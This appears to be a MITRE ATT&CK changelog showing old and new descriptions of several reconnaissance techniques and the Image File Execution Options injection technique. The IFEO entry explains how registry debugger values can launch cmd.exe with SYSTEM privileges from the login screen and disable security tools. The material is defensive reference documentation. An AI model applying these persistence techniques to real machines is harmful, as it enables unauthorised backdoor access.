| > | entials. Adversaries may gather this information in various | > | er this information in various ways, such as direct elicitat | ||
| > | ways, such as direct elicitation via [Phishing for Informat | > | ion via [Phishing for Information](https://attack.mitre.org/ | ||
| > | ion](https://attack.mitre.org/techniques/T1598). Information | > | techniques/T1598). Information about victims may also be exp | ||
| > | about victims may also be exposed to adversaries via online | > | osed to adversaries via online or other accessible data sets | ||
| > | or other accessible data sets (ex: [Social Media](https://a | > | (ex: [Social Media](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1593/001) or [Search Victim-Owne | > | 93/001) or [Search Victim-Owned Websites](https://attack.mit | ||
| > | d Websites](https://attack.mitre.org/techniques/T1594)).(Cit | > | re.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Reg | ||
| > | ation: OPM Leak)(Citation: Register Deloitte)(Citation: Regi | > | ister Deloitte)(Citation: Register Uber)(Citation: Detectify | ||
| > | ster Uber)(Citation: Detectify Slack Tokens)(Citation: Forbe | > | Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitH | ||
| > | s GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHu | > | ub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks | ||
| > | b Gitrob)(Citation: CNET Leaks) Gathering this information m | > | ) Gathering this information may reveal opportunities for ot | ||
| > | ay reveal opportunities for other forms of reconnaissance (e | > | her forms of reconnaissance (ex: [Search Open Websites/Domai | ||
| > | x: [Search Open Websites/Domains](https://attack.mitre.org/t | > | ns](https://attack.mitre.org/techniques/T1593) or [Phishing | ||
| > | echniques/T1593) or [Phishing for Information](https://attac | > | for Information](https://attack.mitre.org/techniques/T1598)) | ||
| > | k.mitre.org/techniques/T1598)), establishing operational res | > | , establishing operational resources (ex: [Compromise Accoun | ||
| > | ources (ex: [Compromise Accounts](https://attack.mitre.org/t | > | ts](https://attack.mitre.org/techniques/T1586)), and/or init | ||
| > | echniques/T1586)), and/or initial access (ex: [Phishing](htt | > | ial access (ex: [Phishing](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1566) or [Valid Accounts]( | > | es/T1566) or [Valid Accounts](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1078)). | > | iques/T1078)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-27 02:27:31.387000+00:00 | 2021-04-15 03:27:49.579000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's networks that can be used during tar | > | ks that can be used during targeting. Information about netw | ||
| > | geting. Information about networks may include a variety of | > | orks may include a variety of details, including administrat | ||
| > | details, including administrative data (ex: IP ranges, domai | > | ive data (ex: IP ranges, domain names, etc.) as well as spec | ||
| > | n names, etc.) as well as specifics regarding its topology a | > | ifics regarding its topology and operations. Adversaries ma | ||
| > | nd operations. Adversaries may gather this information in v | > | y gather this information in various ways, such as direct co | ||
| > | arious ways, such as direct collection actions via [Active S | > | llection actions via [Active Scanning](https://attack.mitre. | ||
| > | canning](https://attack.mitre.org/techniques/T1595) or [Phis | > | org/techniques/T1595) or [Phishing for Information](https:// | ||
| > | hing for Information](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1598). Information about networ | ||
| > | 598). Information about networks may also be exposed to adve | > | ks may also be exposed to adversaries via online or other ac | ||
| > | rsaries via online or other accessible data sets (ex: [Searc | > | cessible data sets (ex: [Search Open Technical Databases](ht | ||
| > | h Open Technical Databases](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)( | ||
| > | ues/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citati | > | Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gatheri | ||
| > | on: Circl Passive DNS) Gathering this information may reveal | > | ng this information may reveal opportunities for other forms | ||
| > | opportunities for other forms of reconnaissance (ex: [Activ | > | of reconnaissance (ex: [Active Scanning](https://attack.mit | ||
| > | e Scanning](https://attack.mitre.org/techniques/T1595) or [S | > | re.org/techniques/T1595) or [Search Open Websites/Domains](h | ||
| > | earch Open Websites/Domains](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1593)), establishing ope | ||
| > | ques/T1593)), establishing operational resources (ex: [Acqui | > | rational resources (ex: [Acquire Infrastructure](https://att | ||
| > | re Infrastructure](https://attack.mitre.org/techniques/T1583 | > | ack.mitre.org/techniques/T1583) or [Compromise Infrastructur | ||
| > | ) or [Compromise Infrastructure](https://attack.mitre.org/te | > | e](https://attack.mitre.org/techniques/T1584)), and/or initi | ||
| > | chniques/T1584)), and/or initial access (ex: [Trusted Relati | > | al access (ex: [Trusted Relationship](https://attack.mitre.o | ||
| > | onship](https://attack.mitre.org/techniques/T1199)). | > | rg/techniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-25 22:58:23.086000+00:00 | 2021-04-15 03:34:23.229000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather the vic | t | 1 | Adversaries may gather the victim's IP addresses that can be |
| > | tim's IP addresses that can be used during targeting. Public | > | used during targeting. Public IP addresses may be allocated | ||
| > | IP addresses may be allocated to organizations by block, or | > | to organizations by block, or a range of sequential address | ||
| > | a range of sequential addresses. Information about assigned | > | es. Information about assigned IP addresses may include a va | ||
| > | IP addresses may include a variety of details, such as whic | > | riety of details, such as which IP addresses are in use. IP | ||
| > | h IP addresses are in use. IP addresses may also enable an a | > | addresses may also enable an adversary to derive other detai | ||
| > | dversary to derive other details about a victim, such as org | > | ls about a victim, such as organizational size, physical loc | ||
| > | anizational size, physical location(s), Internet service pro | > | ation(s), Internet service provider, and or where/how their | ||
| > | vider, and or where/how their publicly-facing infrastructure | > | publicly-facing infrastructure is hosted. Adversaries may g | ||
| > | is hosted. Adversaries may gather this information in vari | > | ather this information in various ways, such as direct colle | ||
| > | ous ways, such as direct collection actions via [Active Scan | > | ction actions via [Active Scanning](https://attack.mitre.org | ||
| > | ning](https://attack.mitre.org/techniques/T1595) or [Phishin | > | /techniques/T1595) or [Phishing for Information](https://att | ||
| > | g for Information](https://attack.mitre.org/techniques/T1598 | > | ack.mitre.org/techniques/T1598). Information about assigned | ||
| > | ). Information about assigned IP addresses may also be expos | > | IP addresses may also be exposed to adversaries via online o | ||
| > | ed to adversaries via online or other accessible data sets ( | > | r other accessible data sets (ex: [Search Open Technical Dat | ||
| > | ex: [Search Open Technical Databases](https://attack.mitre.o | > | abases](https://attack.mitre.org/techniques/T1596)).(Citatio | ||
| > | rg/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpst | > | n: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DN | ||
| > | er)(Citation: Circl Passive DNS) Gathering this information | > | S) Gathering this information may reveal opportunities for o | ||
| > | may reveal opportunities for other forms of reconnaissance ( | > | ther forms of reconnaissance (ex: [Active Scanning](https:// | ||
| > | ex: [Active Scanning](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1595) or [Search Open Websites/ | ||
| > | 595) or [Search Open Websites/Domains](https://attack.mitre. | > | Domains](https://attack.mitre.org/techniques/T1593)), establ | ||
| > | org/techniques/T1593)), establishing operational resources ( | > | ishing operational resources (ex: [Acquire Infrastructure](h | ||
| > | ex: [Acquire Infrastructure](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1583) or [Compromise Inf | ||
| > | ques/T1583) or [Compromise Infrastructure](https://attack.mi | > | rastructure](https://attack.mitre.org/techniques/T1584)), an | ||
| > | tre.org/techniques/T1584)), and/or initial access (ex: [Exte | > | d/or initial access (ex: [External Remote Services](https:// | ||
| > | rnal Remote Services](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1133)). | ||
| > | 133)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:03:29.213000+00:00 | 2021-04-15 03:31:05.302000+00:00 |
| description | Before compromising a victim, adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's busine |
| > | tion about the victim's business tempo that can be used duri | > | ss tempo that can be used during targeting. Information abou | ||
| > | ng targeting. Information about an organization’s business t | > | t an organization’s business tempo may include a variety of | ||
| > | empo may include a variety of details, including operational | > | details, including operational hours/days of the week. This | ||
| > | hours/days of the week. This information may also reveal ti | > | information may also reveal times/dates of purchases and shi | ||
| > | mes/dates of purchases and shipments of the victim’s hardwar | > | pments of the victim’s hardware and software resources. Adv | ||
| > | e and software resources. Adversaries may gather this infor | > | ersaries may gather this information in various ways, such a | ||
| > | mation in various ways, such as direct elicitation via [Phis | > | s direct elicitation via [Phishing for Information](https:// | ||
| > | hing for Information](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1598). Information about busine | ||
| > | 598). Information about business tempo may also be exposed t | > | ss tempo may also be exposed to adversaries via online or ot | ||
| > | o adversaries via online or other accessible data sets (ex: | > | her accessible data sets (ex: [Social Media](https://attack. | ||
| > | [Social Media](https://attack.mitre.org/techniques/T1593/001 | > | mitre.org/techniques/T1593/001) or [Search Victim-Owned Webs | ||
| > | ) or [Search Victim-Owned Websites](https://attack.mitre.org | > | ites](https://attack.mitre.org/techniques/T1594)).(Citation: | ||
| > | /techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) G | > | ThreatPost Broadvoice Leak) Gathering this information may | ||
| > | athering this information may reveal opportunities for other | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | forms of reconnaissance (ex: [Phishing for Information](htt | > | [Phishing for Information](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1598) or [Search Open Webs | > | es/T1598) or [Search Open Websites/Domains](https://attack.m | ||
| > | ites/Domains](https://attack.mitre.org/techniques/T1593)), e | > | itre.org/techniques/T1593)), establishing operational resour | ||
| > | stablishing operational resources (ex: [Establish Accounts]( | > | ces (ex: [Establish Accounts](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1585) or [Compromise Ac | > | iques/T1585) or [Compromise Accounts](https://attack.mitre.o | ||
| > | counts](https://attack.mitre.org/techniques/T1586)), and/or | > | rg/techniques/T1586)), and/or initial access (ex: [Supply Ch | ||
| > | initial access (ex: [Supply Chain Compromise](https://attack | > | ain Compromise](https://attack.mitre.org/techniques/T1195) o | ||
| > | .mitre.org/techniques/T1195) or [Trusted Relationship](https | > | r [Trusted Relationship](https://attack.mitre.org/techniques | ||
| > | ://attack.mitre.org/techniques/T1199)) | > | /T1199)) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:10:12.352000+00:00 | 2021-04-15 03:38:31.983000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)) | Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about identities and role |
| > | tion about identities and roles within the victim organizati | > | s within the victim organization that can be used during tar | ||
| > | on that can be used during targeting. Information about busi | > | geting. Information about business roles may reveal a variet | ||
| > | ness roles may reveal a variety of targetable details, inclu | > | y of targetable details, including identifiable information | ||
| > | ding identifiable information for key personnel as well as w | > | for key personnel as well as what data/resources they have a | ||
| > | hat data/resources they have access to. Adversaries may gat | > | ccess to. Adversaries may gather this information in variou | ||
| > | her this information in various ways, such as direct elicita | > | s ways, such as direct elicitation via [Phishing for Informa | ||
| > | tion via [Phishing for Information](https://attack.mitre.org | > | tion](https://attack.mitre.org/techniques/T1598). Informatio | ||
| > | /techniques/T1598). Information about business roles may als | > | n about business roles may also be exposed to adversaries vi | ||
| > | o be exposed to adversaries via online or other accessible d | > | a online or other accessible data sets (ex: [Social Media](h | ||
| > | ata sets (ex: [Social Media](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1593/001) or [Search Vic | ||
| > | ques/T1593/001) or [Search Victim-Owned Websites](https://at | > | tim-Owned Websites](https://attack.mitre.org/techniques/T159 | ||
| > | tack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broa | > | 4)).(Citation: ThreatPost Broadvoice Leak) Gathering this in | ||
| > | dvoice Leak) Gathering this information may reveal opportuni | > | formation may reveal opportunities for other forms of reconn | ||
| > | ties for other forms of reconnaissance (ex: [Phishing for In | > | aissance (ex: [Phishing for Information](https://attack.mitr | ||
| > | formation](https://attack.mitre.org/techniques/T1598) or [Se | > | e.org/techniques/T1598) or [Search Open Websites/Domains](ht | ||
| > | arch Open Websites/Domains](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1593)), establishing oper | ||
| > | ues/T1593)), establishing operational resources (ex: [Establ | > | ational resources (ex: [Establish Accounts](https://attack.m | ||
| > | ish Accounts](https://attack.mitre.org/techniques/T1585) or | > | itre.org/techniques/T1585) or [Compromise Accounts](https:// | ||
| > | [Compromise Accounts](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1586)), and/or initial access ( | ||
| > | 586)), and/or initial access (ex: [Phishing](https://attack. | > | ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | ||
| > | mitre.org/techniques/T1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:10:36.279000+00:00 | 2021-04-15 03:39:08.904000+00:00 |
| description | Before compromising a victim, adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by Image File E | > | ges by executing malicious content triggered by Image File E | ||
| > | xecution Options (IFEO) debuggers. IFEOs enable a developer | > | xecution Options (IFEO) debuggers. IFEOs enable a developer | ||
| > | to attach a debugger to an application. When a process is cr | > | to attach a debugger to an application. When a process is cr | ||
| > | eated, a debugger present in an application’s IFEO will be p | > | eated, a debugger present in an application’s IFEO will be p | ||
| > | repended to the application’s name, effectively launching th | > | repended to the application’s name, effectively launching th | ||
| > | e new process under the debugger (e.g., <code>C:\dbg\ntsd.ex | > | e new process under the debugger (e.g., <code>C:\dbg\ntsd.ex | ||
| > | e -g notepad.exe</code>). (Citation: Microsoft Dev Blog IFE | > | e -g notepad.exe</code>). (Citation: Microsoft Dev Blog IFE | ||
| > | O Mar 2010) IFEOs can be set directly via the Registry or i | > | O Mar 2010) IFEOs can be set directly via the Registry or i | ||
| > | n Global Flags via the GFlags tool. (Citation: Microsoft GFl | > | n Global Flags via the GFlags tool. (Citation: Microsoft GFl | ||
| > | ags Mar 2017) IFEOs are represented as <code>Debugger</code> | > | ags Mar 2017) IFEOs are represented as <code>Debugger</code> | ||
| > | values in the Registry under <code>HKLM\SOFTWARE{\Wow6432No | > | values in the Registry under <code>HKLM\SOFTWARE{\Wow6432No | ||
| > | de}\Microsoft\Windows NT\CurrentVersion\Image File Execution | > | de}\Microsoft\Windows NT\CurrentVersion\Image File Execution | ||
| > | Options\<executable></code> where <code><executable>< | > | Options\<executable></code> where <code><executable>< | ||
| > | /code> is the binary on which the debugger is attached. (Cit | > | /code> is the binary on which the debugger is attached. (Cit | ||
| > | ation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can also ena | > | ation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can also ena | ||
| > | ble an arbitrary monitor program to be launched when a speci | > | ble an arbitrary monitor program to be launched when a speci | ||
| > | fied program silently exits (i.e. is prematurely terminated | > | fied program silently exits (i.e. is prematurely terminated | ||
| > | by itself or a second, non kernel-mode process). (Citation: | > | by itself or a second, non kernel-mode process). (Citation: | ||
| > | Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Mo | > | Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Mo | ||
| > | e IFEO APR 2018) Similar to debuggers, silent exit monitorin | > | e IFEO APR 2018) Similar to debuggers, silent exit monitorin | ||
| > | g can be enabled through GFlags and/or by directly modifying | > | g can be enabled through GFlags and/or by directly modifying | ||
| > | IFEO and silent process exit Registry values in <code>HKEY_ | > | IFEO and silent process exit Registry values in <code>HKEY_ | ||
| > | LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\S | > | LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\S | ||
| > | ilentProcessExit\</code>. (Citation: Microsoft Silent Proces | > | ilentProcessExit\</code>. (Citation: Microsoft Silent Proces | ||
| > | s Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Simil | > | s Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Simil | ||
| > | ar to [Accessibility Features](https://attack.mitre.org/tech | > | ar to [Accessibility Features](https://attack.mitre.org/tech | ||
| > | niques/T1546/008), on Windows Vista and later as well as Win | > | niques/T1546/008), on Windows Vista and later as well as Win | ||
| > | dows Server 2008 and later, a Registry key may be modified t | > | dows Server 2008 and later, a Registry key may be modified t | ||
| > | hat configures "cmd.exe," or another program that provides b | > | hat configures "cmd.exe," or another program that provides b | ||
| > | ackdoor access, as a "debugger" for an accessibility program | > | ackdoor access, as a "debugger" for an accessibility program | ||
| > | (ex: utilman.exe). After the Registry is modified, pressing | > | (ex: utilman.exe). After the Registry is modified, pressing | ||
| > | the appropriate key combination at the login screen while a | > | the appropriate key combination at the login screen while a | ||
| > | t the keyboard or when connected with [Remote Desktop Protoc | > | t the keyboard or when connected with [Remote Desktop Protoc | ||
| > | ol](https://attack.mitre.org/techniques/T1021/001) will caus | > | ol](https://attack.mitre.org/techniques/T1021/001) will caus | ||
| > | e the "debugger" program to be executed with SYSTEM privileg | > | e the "debugger" program to be executed with SYSTEM privileg | ||
| > | es. (Citation: Tilbury 2014) Similar to [Process Injection] | > | es. (Citation: Tilbury 2014) Similar to [Process Injection] | ||
| > | (https://attack.mitre.org/techniques/T1055), these values ma | > | (https://attack.mitre.org/techniques/T1055), these values ma | ||
| > | y also be abused to obtain privilege escalation by causing a | > | y also be abused to obtain privilege escalation by causing a | ||
| > | malicious executable to be loaded and run in the context of | > | malicious executable to be loaded and run in the context of | ||
| > | separate processes on the computer. (Citation: Endgame Proc | > | separate processes on the computer. (Citation: Elastic Proc | ||
| > | ess Injection July 2017) Installing IFEO mechanisms may also | > | ess Injection July 2017) Installing IFEO mechanisms may also | ||
| > | provide Persistence via continuous triggered invocation. M | > | provide Persistence via continuous triggered invocation. M | ||
| > | alware may also use IFEO to [Impair Defenses](https://attack | > | alware may also use IFEO to [Impair Defenses](https://attack | ||
| > | .mitre.org/techniques/T1562) by registering invalid debugger | > | .mitre.org/techniques/T1562) by registering invalid debugger | ||
| > | s that redirect and effectively disable various system and s | > | s that redirect and effectively disable various system and s | ||
| > | ecurity applications. (Citation: FSecure Hupigon) (Citation: | > | ecurity applications. (Citation: FSecure Hupigon) (Citation: | ||
| > | Symantec Ushedix June 2008) | > | Symantec Ushedix June 2008) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-26 14:18:08.480000+00:00 | 2020-11-10 18:29:31.112000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)
